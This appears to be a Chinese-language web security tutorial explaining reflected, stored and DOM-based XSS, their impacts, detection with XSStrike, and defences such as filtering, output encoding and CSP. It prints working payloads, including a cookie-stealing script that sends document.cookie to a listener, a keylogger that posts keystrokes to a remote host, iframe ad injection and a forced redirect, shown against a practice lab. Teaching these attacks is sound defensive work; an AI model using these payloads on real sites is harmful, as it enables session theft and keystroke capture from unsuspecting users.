XSS介绍
XSS即跨站脚本攻击,是OWASP TOP10之一。它的全称为Cross-site scripting,之所以缩写为XSS是因为CSS这个简称已经被占用了。
XSS攻击的原理为,浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这种针对用户浏览器的攻击即跨站脚本攻击。它的攻击方式可以分为三种类型:反射型、存储型和DOM型。
1 反射型
当应用程序将收到的用户输入,直接作为HTML输出的一部分时,并且未经验证或转义,攻击者就可以输入一些JavaScript脚本,使得受害者的浏览器执行任意的JavaScript代码。这就是反射型XSS攻击,之所以称之为反射型XSS,是因为这种攻击需要用户提供一个恶意输入,然后页面据此进行反射,执行攻击的命令。
示例:
假设在一个网页的用户名输入框然后该Web应用在接收到上传的参数后,会将它们显示在页面上,如Welcome firstname lastname。
# 输入为:
</p><script>alert(1)</script><p>
# 响应的html变为:
<p>Hello </p><script>alert(1)</script><p>, please vote for your favorite movie.</p>
我们在First name中输入的恶意脚本,被解析为JavaScript命令,所以我们的攻击成功了。
事实上,我们发送的First name以及Last name都是通过GET方式上传的参数,而在之前的学习中,我们知道以GET方式上传的参数会出现在链接中,例如我们将First name设为,将Last name设为abc,那么对应的恶意链接就如下所示:
http://www.exmple.com/xss_get.php?firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=abc&form=submit
我们只需要将这个恶意链接发送给要攻击的目标即可,这样只要受害者点击链接,那么恶意命令就会在受害者的浏览器执行。
note: 有的时候因为
限制其中包裹的内容为文本,这个时候可以可以将它的
标签闭合起来,构造输入如下:
# 输入为:
</p><script>alert(1)</script><p>
# 响应的html变为:
<p>Hello </p><script>alert(1)</script><p>, please vote for your favorite movie.</p>
反射型XSS具有非持久化的特点,因为用户必须点击带有恶意参数的链接才能引起这个攻击。同时它的影响范围很小,只有那些点击了恶意链接的用户才会受到它的攻击。
2 存储型XSS
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时,程序也没有对其进行过滤,使得页面再次执行XSS代码。与反射型XSS不同的是,存储型XSS可以持续攻击用户。
攻击者想要发起存储型XSS攻击,首先需要将恶意代码进行上传,上传的位置主要有留言板、评论区、用户头像、个性签名以及博客。如果Web应用没有限制上传的内容,并且将该内容存储到了数据库中,那么存储型XSS就成功了第一步。
接下来,想要使得存储型XSS攻击生效,还需要让Web应用去读取之前存储的恶意代码。这其实很简单,我们可以想一想留言板,我们只要上传一条留言,那么每次去访问这个留言板时,系统就会自动去读取之前上传的所有数据,并在页面上显示出来。当然系统可能会对读取的数据做一定的限制,如果我们的恶意代码没有被限制,那么我们的存储型XSS攻击的第二步也就成功了。
完成了读取后,系统会将内容进行解析读取,如果解析的时候没有成功限制住我们的恶意代码,那么我们之前存储的恶意命令将被执行。存储型XSS攻击也就成功了。
示例:
Web应用选择的为一个博客,我们可以在此输入一个恶意命令作为博客,并且进行上传。例如我们输入点击上传,之后页面会刷新,并且弹出警告框1,之后这个页面每次被访问,都会引起恶意命令的执行。
3 DOM型XSS
DOM就是文档对象模型,它可以将文档解析成一个由节点和对象(包含属性和方法的对象)组成的结构集合。简单来讲,它会将Web页面和脚本程序连接起来。
DOM型XSS攻击其实是一种特殊类型的反射型XSS,通过JavaScript操作DOM树动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。
DOM型XSS的攻击方式,其实与反射型XSS很相似,它们都是没有控制好输入,并且把JavaScript脚本作为输出插入到HTML页面。不同的是,反射型XSS经过后端语言处理后,页面引用后端输出生效。**而DOM型XSS是经过JavaScript对DOM树直接操作后插入到页面。**相比于反射型XSS攻击,它的危害性更大,因为它不经过后端,所以可以绕过Waf的检测。
示例:
if (document.location.href.indexOf(“default=“) >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf(“default=“)+8);
document.write(“<option value=‘” + lang + “’>” + decodeURI(lang) + “</option>”);
document.write(“<option value=‘’ disabled=‘disabled’>——</option>”);
}
从源代码中我们可知,这个页面属于DOM型XSS攻击,它没有经过后端处理,是直接用document.write函数将输入显示在页面中,并且没有做任何限制。因此我们可以用下述链接执行我们的攻击命令:
http://www.example.com/vulnerabilities/xss_d/?default=<script>alert(1)</script>
XSS跨站脚本攻击的危害性
1 xss攻击的危害
XSS攻击的危害主要包括四种类型,它们分别是盗取cookie、按键记录和钓鱼、广告植入以及欺骗跳转。
盗取cookie
cookie在英文中的意思为甜品、饼干,不过这里盗取cookie可不是偷饼干的意思哦。在HTTP请求中,cookie代表着登录信息,我们在Web应用登录成功后,服务器端会生成一个cookie。然后服务器端会将这个生成的cookie发送给我们,供我们之后访问的时候使用。
如果攻击者拿到cookie信息了,那他就可以实现登录我们的账号,这是非常危险的,所以我们平时需要保护好我们的cookie信息。
示例:
<script>var pic=document.createElement("img");pic.src="http://127.0.0.1:2222/getCookie?"+escape(document.cookie)</script>
这个payload会调用JavaScript创建一个Element对象,之后将这个对象的src设置为我们监听的地址端口,向这个地址用GET方式上传参数document.cookie,这样我们就能窃取到用户的cookie啦。
按键记录和钓鱼
首先我们来看看如何实现按键记录。
我们仍然选择DVWA的XSS(DOM)靶场做测试,只需要更换payload即可,将payload设置为:
这段代码可以去调用远程地址中的JavaScript文件,使得keylogger.js中的代码被执行。这里的keylogger.js的内容为:
document.onkeypress = function(evt) {
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.3.193/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
它可以将接收到的key记录到keylog.txt文件中,这样就能实现按键记录的功能了。
广告植入
想要做广告植入,那我们需要用存储型XSS注入,这样就可以使得所有访问受攻击页面的用户都会看到广告。
负载改为:
<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='1000' height='2000' allowTransparency src=https://time.geekbang.org/course/detail/100055001-283034></iframe>");</script>
这段恶意负载可以在当前页面以行的方式输出src对应的内容,这样我们把广告的地址设置为src即可。可以看到广告已经弹出,这就是用XSS实现广告植入的方法。
欺骗跳转
有的网页希望增加访问量,或者吸引用户访问,那么就可能会用XSS攻击来实现这一目的。下面我们继续以DVWA靶场中的存储型XSS作为示例。
为了实现欺骗跳转,我们需要将负载设置为:
<script>window.location.href=“跳转的目的地址”;</script>
这段负载也是JavaScript代码,它可以使得当前页面跳转到设置的目的地址,这就是跳转产生的原因。注意,这里同样是需要绕过输入长度的限制的哦。
这样,当我们访问被攻击的页面时,页面会自动跳转到攻击者设置的地址中,如果攻击者将这个地址伪造为被攻击的页面,那么很容易迷惑访问用户,使得用户认为这就是被攻击的页面,但事实上,用户已经落入到攻击者的圈套之中了。
这就是用XSS实现欺骗跳转的方法。到这里,你已经学完了常见的XSS攻击利用方法,事实上,这就是一个任意JavaScript命令执行漏洞,我们只要更换不同的JavaScript语句,就可以实现这些攻击行为。
XSS攻击利器:BeEF,利用它我们不需要再亲自构造JavaScript代码,而是利用设计好的代码直接发起我们想要的攻击行为,这给我们带来了极大的便利。
XSS检测与防御方案解析
XSS攻击的检测
在对XSS攻击的检测中,我们需要借助工具的帮忙。现在已经有了很多的XSS检测工具,这给我们带来了极大的便利,不再需要我们手动注入尝试了。
下面我会介绍一款好用的XSS检测工具——XSStrike,它的大多数payload都是由作者精心构造出的,具有极低的误报率。XSStrike会根据我们的输入,智能地生成合适的payload进行探测。
它会首先判断是否有WAF存在,然后对参数进行测试,获取到页面的响应,并据此生成payload。这和我们之前学习的sqlmap非常类似,因为它们本质上其实都是注入检测工具。
生成payload之后,XSStrike会将它们按照Confidence的值从大到小进行排序,之后按照顺序逐一对它们进行检测。这里你可能会好奇Confidence是什么,事实上,它代表的是XSStrike开发人员对于这个payload成功的信心,它的取值范围为0-10,值越高代表注入成功的可能性就越大。
之后XSStrike根据注入的payload以及它们响应的内容,会给这个payload生成一个评分即Efficiency,这个评分越高,代表这个payload实现XSS攻击的成功率越大。如果评分高于90,就会将这个payload标记为成功,并将它输出在命令行中,否则就会认为这个payload无效。
XSS防御方案
总体来说,对于XSS攻击的防御思路可以概括为一句话:对输入参数进行过滤拦截,对输出内容进行处理。
对输入参数的过滤
由于XSS攻击本质上就是JavaScript代码的注入,而注入问题的核心就是需要对用户的输入保持怀疑与警惕。针对用户的输入,有两种不同的解决方案,即黑名单过滤和白名单过滤机制。
黑名单过滤即判断输入的内容中,是否有黑名单中的内容,如果有就拒绝处理这个输入。对应到XSS攻击,我们需要将黑名单设为攻击需要用到的字符,例如<、>、script以及 \ 等。这样可以有效地拦截一些XSS注入负载。不过黑名单拦截有时候是不够全面的,我们很难将所有危险字符全部考虑到,并将它们禁用。
这时,我们就可以用白名单过滤机制,设定我们允许输入的字符,例如仅仅允许输入数字,那这样就可以百分百限制XSS注入的发生。可是出于实际情况考虑,严格的白名单过滤往往会让一些,带有危险字符的正常输入被拦截,所以这个方法也是存在局限性的。
对输出内容编码
XSS攻击生效的原因除了输入外,还有Web应用将内容直接放到输出中,导致了JavaScript代码的生效。
针对这一点,我们可以将输出中的危险内容进行编码,例如将<编码为<,将>编码为>,这样就会使得
选择的使用标签
在一些博客网站中,用户的输入是需要包含HTML标签的,而允许输入HTML标签就会给XSS攻击可乘之机。
这时候,一个比较经典的处理方法就是将可能有害的HTML标签例如以及JavaScript过滤掉,仅仅将用户输入的安全标签进行输出。但这个方案也不是完美的,因为这可能会导致突变XSS的发生。
XSS缓解措施
当XSS攻击,绕过了我们所有的防御措施后,我们还可以利用CSP,即content security policy内容安全策略,去限制XSS的攻击行为,以减少XSS攻击的影响。
我们可以加上Web应用的响应头Content-Security-Policy,并将它的内容设置为我们想要实现的策略,这样就能让CSP成功生效。说到这里,你可能有点懵不太理解,没关系,下面让我们进入到一个示例中,相信看完它你就能理解了。
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';
这条CSP策略成功实现了对Web应用页面中内容的加载限制。它仅仅允许页面中的资源文件,例如图片、脚本请求主页中的资源,这样就使得攻击者无法加载准备好的服务器中的恶意资源。这可以大大降低XSS对我们Web应用的危害.
|